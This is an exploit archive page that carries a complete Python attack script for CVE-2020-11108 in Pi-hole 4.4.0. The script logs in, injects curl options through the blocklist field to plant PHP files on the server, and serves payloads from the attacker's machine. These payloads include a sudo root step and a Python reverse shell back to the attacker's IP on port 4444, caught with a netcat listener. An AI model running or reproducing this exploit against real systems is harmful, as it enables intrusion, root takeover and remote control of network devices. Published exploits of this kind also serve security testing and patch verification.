what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Pi-hole 4.4.0 Remote Code Execution

Pi-hole 4.4.0 Remote Code Execution
Posted May 27, 2020
Authored by Photubias

Pi-hole version 4.4.0 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2020-11108
SHA-256 | c7a92f42c54992e326709bf0e3e1ed94ba5f65503d1d8babc2253d1fecbc3a84

Pi-hole 4.4.0 Remote Code Execution

Change Mirror Download
# Exploit Title: Pi-hole 4.4.0 - Remote Code Execution (Authenticated)
# Date: 2020-05-22
# Exploit Author: Photubias
# Vendor Advisory: [1] https://github.com/pi-hole/AdminLTE
# Version: Pi-hole <=4.4.0 + Web <=4.3.3
# Tested on: Pi-hole v4.4.0-g9e49077, Web v4.3.3,v4.3.2-1-g4f824be, FTL v5.0 (on Debian 10)
# CVE: CVE-2020-11108

#!/usr/bin/env python3
'''
Copyright 2020 Photubias(c)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.

Based (and improved on): https://github.com/Frichetten/CVE-2020-11108-PoC/blob/master/cve-2020-11108-rce.py

File name CVE-2020-11108.py
written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be

## Vulnerable setup instructions (from clean Debian 10-Buster):
> apt update && apt install -y curl
> curl -sSL https://install.pi-hole.net | bash
> pihole checkout web release/v4.3.3
> cd /etc/.pihole/ && git checkout v4.4
> pihole -r ## Select reconfigure

This is a native implementation without requirements, written in Python 3.
Works equally well on Windows as Linux (as MacOS, probably ;-)

Features:
* Does a reliable check before exploitation (not based on version numbers)
* Performs normal RCE without Privilege Escalation (wich is more trust worthy)
* Asks before running Root RCE (as this overwrites certain files)
* Performs a cleanup in all cases (success / failure)
'''

import urllib.request, ssl, http.cookiejar, sys, string, random
import socket, _thread, time

## Default vars; change at will
_sURL = '192.168.50.130'
_sPASSWORD = '6DS4QtW5'
_iTIMEOUT = 5
_sLOCALIP = '192.168.50.1'
_sFILENAME = 'fun2.php'
_sLOCALNCPORT = '4444' ## Make sure to set up a listener on this port first

## Ignore unsigned certs
ssl._create_default_https_context = ssl._create_unverified_context

## Keep track of cookies between requests
cj = http.cookiejar.CookieJar()
oOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

def randomString(iStringLength=8):
sLetters = string.ascii_lowercase
return ''.join(random.choice(sLetters) for i in range(iStringLength))

def postData(sURL, lData, bEncode = True):
try:
if bEncode: oData = urllib.parse.urlencode(lData).encode()
else: oData = str(lData).encode()
oRequest = urllib.request.Request(url = sURL, data = oData)
return oOpener.open(oRequest, timeout = _iTIMEOUT)
except:
print('----- ERROR, site down?')
sys.exit(1)

def getEndpoint():
if not _sURL[:4].lower() == 'http': sURL = 'http://' + _sURL
else: sURL = _sURL
if not sURL[:-1] == '/': sURL += '/'
if not '/admin' in sURL: sURL += 'admin'
try:
oRequest = urllib.request.Request(sURL)
oResponse = oOpener.open(oRequest, timeout = _iTIMEOUT)
except:
print('[-] Error: ' + sURL + ' not responding')
exit(1)
if oResponse.code == 200:
print('[+] Vulnerable URL is ' + sURL)
return sURL
else:
print('[-] Error: ' + sURL + ' does not exist?')
exit(1)

def startListener(sPayload, iSockTimeout):
## Listener must always be on port 80, does not work otherwise
oSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('[!] Binding to '+_sLOCALIP+':80')
oSock.bind((_sLOCALIP,80))
oSock.settimeout(iSockTimeout)
oSock.listen()

while True:
try: oConn,sAddr= oSock.accept()
except: break
print('[+] Yes, we have an incoming connection from '+str(sAddr[0]))
oConn.sendall(sPayload.encode())
oConn.close()
break
oSock.close()
print('[!] Closing Listener')

def doLogin(sURL, sPassword):
sPath = '/index.php?login'
lData = {'pw':sPassword}
oResponse = postData(sURL + sPath, lData)
sResult = oResponse.read().decode(errors='ignore')
if 'Wrong password' in sResult:
print('Wrong password')
sys.exit(1)
return True

def getToken(sURL):
sPath = '/settings.php?tab=blocklists'
oResponse = oOpener.open(urllib.request.Request(sURL + sPath), timeout = _iTIMEOUT)
sResult = oResponse.read().decode(errors='ignore')
if 'id=\'token\'' in sResult:
return sResult.split('id=\'token\' hidden>')[1].split('<')[0]
else:
print('[-] Error in getting a token')
sys.exit(1)

def createBackdoor(sURL, sFilename):
sToken = getToken(sURL)
sPath = '/settings.php?tab=blocklists'
lData = {'newuserlists':'http://' + _sLOCALIP + '#" -o ' + sFilename + ' -d "', 'field':'adlists', 'token':sToken, 'submit':'save'}
#lData = {'newuserlists':'http://' + _sLOCALIP + '#" -o fun.php -d "', 'field':'adlists', 'token':sToken, 'submit':'saveupdate'}
oResponse = postData(sURL + sPath, lData)
if oResponse.code == 200:
sResult = oResponse.read().decode(errors='ignore')
arrBlocklists = sResult.split('target="_new"')
sID = str(len(arrBlocklists)-2)
print('[+] Creation success, ID is '+sID+'!')
return sID
else:
return ''


def doUpdate(sURL):
sPath = '/scripts/pi-hole/php/gravity.sh.php'
try:
oResponse = oOpener.open(urllib.request.Request(sURL + sPath), timeout = _iTIMEOUT)
if oResponse.code == 200: print('[+] Update succeeded.')
return True
except:
print('[-] Error; callback failed, maybe a firewall issue?')
return False

def callExploit(sURL, sFilename = _sFILENAME):
sPath = '/scripts/pi-hole/php/' + sFilename
print('[+] Calling ' + sURL + sPath)
try:
oResponse = oOpener.open(urllib.request.Request(sURL + sPath), timeout = _iTIMEOUT)
if oResponse.code == 200: print('[+] Calling exploit succeeded.')
print(oResponse.read().decode(errors='ignore'))
except:
pass

def removeEntry(sURL, sID):
print('[+] Cleaning up now.')
sToken = getToken(sURL)
sPath = '/settings.php?tab=blocklists'
lData = {'adlist-del-'+sID:'on', 'newuserlists':'', 'field':'adlists', 'token':sToken, 'submit':'save'}
oResponse = postData(sURL + sPath, lData)
if oResponse.code == 200:
print('[+] Remove success')

def main():
global _sURL, _sPASSWORD, _iTIMEOUT, _sLOCALIP, _sFILENAME, _sLOCALNCPORT
if len(sys.argv) == 1:
print('[!] No arguments found: python3 CVE-2020-11108.py <dstIP> <srcIP> <PWD>')
print(' Example: ./CVE-2020-11108.py 192.168.50.130 192.168.50.1 6DS4QtW5')
print(' But for now, I will ask questions')
sAnswer = input('[?] Please enter the IP address for Pi-Hole ([' + _sURL + ']): ')
if not sAnswer == '': _sURL = sAnswer
sAnswer = input('[?] Please enter the your (reachable) IP address to launch listeners ([' + _sLOCALIP + ']): ')
if not sAnswer == '': _sLOCALIP = sAnswer
sAnswer = input('[?] Please enter the password for Pi-Hole ([' + _sPASSWORD + ']): ')
if not sAnswer == '': _sPASSWORD = sAnswer
else:
_sURL = sys.argv[1]
_sLOCALIP = sys.argv[2]
_sPASSWORD = sys.argv[3]

## MAIN
sURL = getEndpoint() ## Will also set the initial SessionID
doLogin(sURL, _sPASSWORD)

## Creating backdoor (1) ## the old 'fun.php'
sFilename = randomString() + '.php'
sID = createBackdoor(sURL, sFilename)

## Launch first payload listener and send 200 OK
_thread.start_new_thread(startListener,('HTTP/1.1 200 OK\n\nCVE-2020-11108\n',5,))
if doUpdate(sURL):
print('[+] This system is vulnerable!')

## Question Time
sAnswer = input('Want to continue with exploitation? (Or just run cleanup)? [y/N]: ')
if not sAnswer.lower() == 'y':
removeEntry(sURL, sID)
sys.exit(0)
sAnswer = input('Want root access? (Breaks the application!!) [y/N]: ')
if sAnswer.lower() == 'y': bRoot = True
else: bRoot = False

if bRoot:
print('[!] Allright, going for the root shell')
## Launch payload listener and send root shell
_sPayload = '''<?php shell_exec("sudo pihole -a -t") ?>'''
_thread.start_new_thread(startListener,(_sPayload,5,))
doUpdate(sURL)

## Creating backdoor (2), overwriting teleporter.php
sID2 = createBackdoor(sURL, 'teleporter.php')

## Launch payload listener for a new 200 OK
_thread.start_new_thread(startListener,('HTTP/1.1 200 OK\n\nCVE-2020-11108\n',5,))
doUpdate(sURL)

input('Ok, make sure to have a netcat listener on "' + _sLOCALIP + ':' + _sLOCALNCPORT + '" ("nc -lnvp ' + _sLOCALNCPORT + '") and press enter to continue...')

## Launch shell payload listener:
_sPayload = '''<?php
shell_exec("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"%s\\\",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\",\\"-i\\"]);'")
?>
''' %(_sLOCALIP, _sLOCALNCPORT)
#_sPayload = '''<?php system($_GET['cmd']); ?>''' ## this works perfectly, but the URL is authenticated
_thread.start_new_thread(startListener,(_sPayload,5,))
doUpdate(sURL)

## Launching the payload, will create new PHP file
callExploit(sURL, sFilename)

## Remove entry again
if bRoot: removeEntry(sURL, sID2)
removeEntry(sURL, sID)

if len(sys.argv) == 1: input('[+] All done, press enter to exit')

if __name__ == "__main__":
main()
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close